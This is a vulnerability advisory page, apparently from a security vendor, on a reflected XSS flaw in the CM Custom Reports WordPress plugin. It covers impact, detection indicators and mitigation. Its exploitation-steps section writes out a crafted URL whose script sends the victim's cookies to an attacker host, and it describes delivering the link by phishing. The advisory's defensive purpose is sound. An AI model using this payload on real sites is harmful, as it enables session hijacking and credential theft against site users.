CVE-2026-2431
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2431 is a Reflected Cross-Site Scripting (XSS) vulnerability in the CM Custom Reports plugin for WordPress, affecting all versions up to and including 1.2.7. The flaw exists in the date_from and date_to parameters due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. It was published on March 7, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat CVE, ENISA EUVD).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The date_from and date_to parameters in the plugin's RegisteredUsersReport.php file are not properly sanitized before being reflected in the page output, enabling script injection. Exploitation requires no authentication but does require user interaction — specifically, tricking a victim into clicking a crafted link containing the malicious payload. The vulnerable code path is publicly visible in the plugin's source repository (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement of page content visible to the victim, or redirection to malicious sites. Because the scope is changed (S:C in CVSS), the injected script can affect resources beyond the vulnerable component itself, though availability is not directly impacted (ENISA EUVD, Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-2431 as of the available data. The EPSS score is approximately 0.061%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to deliver a crafted URL to a target user (Wordfence, ENISA EUVD).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the CM Custom Reports plugin version ≤ 1.2.7 using tools like WPScan or by checking publicly accessible plugin metadata.
  2. Craft malicious URL: Construct a URL targeting the vulnerable report page with a malicious payload injected into the date_from or date_to parameter, e.g., https://target.com/wp-admin/admin.php?page=cm-custom-reports&date_from=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>&date_to=2026-01-01.
  3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social media, or another social engineering vector.
  4. Payload execution: When the victim clicks the link and loads the page, the unsanitized parameter value is reflected in the HTML response and the injected script executes in their browser, enabling cookie theft, session hijacking, or further malicious actions (Wordfence, WordPress Trac).

Indicators of compromise

  • Network: HTTP GET or POST requests to WordPress admin report pages containing <script>, javascript:, or URL-encoded equivalents in date_from or date_to parameters; outbound requests from victim browsers to unknown external domains shortly after accessing report pages.
  • Logs: WordPress or web server access logs showing requests to admin.php?page=cm-custom-reports with anomalous or encoded values in date parameters; referrer headers pointing to external or unexpected sources.
  • File System: No direct file system artifacts expected for reflected XSS, but monitor for any newly created or modified PHP files in the plugin directory (/wp-content/plugins/cm-custom-reports/) that could indicate follow-on compromise.

Mitigation and workarounds

Users should update the CM Custom Reports plugin to a version beyond 1.2.7 that includes proper input sanitization and output escaping for the affected parameters. Until a patched version is available, administrators should consider disabling the plugin or restricting access to the reports page to trusted users only via role-based access controls. Web application firewalls (WAFs) can be configured to detect and block reflected XSS payloads in query parameters as an interim measure (Wordfence, WordPress Trac).

Community reactions

The vulnerability was reported and assigned by Wordfence, which published the advisory through its threat intelligence platform. Automated CVE tracking accounts on Bluesky and Nitter noted the disclosure shortly after publication. No significant independent researcher commentary or major media coverage has been identified beyond standard vulnerability database aggregation (Wordfence).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-65640HIGH8.8
  • wordpress
NoYesAug 17, 2026
CVE-2026-11801HIGH7.5
  • wpadverts
NoYesAug 18, 2026
CVE-2026-13700MEDIUM5.9
  • wooms
NoNoAug 17, 2026
CVE-2026-14832MEDIUM5.3
  • shopsmart-loyalty-for-woocommerce
NoNoAug 17, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management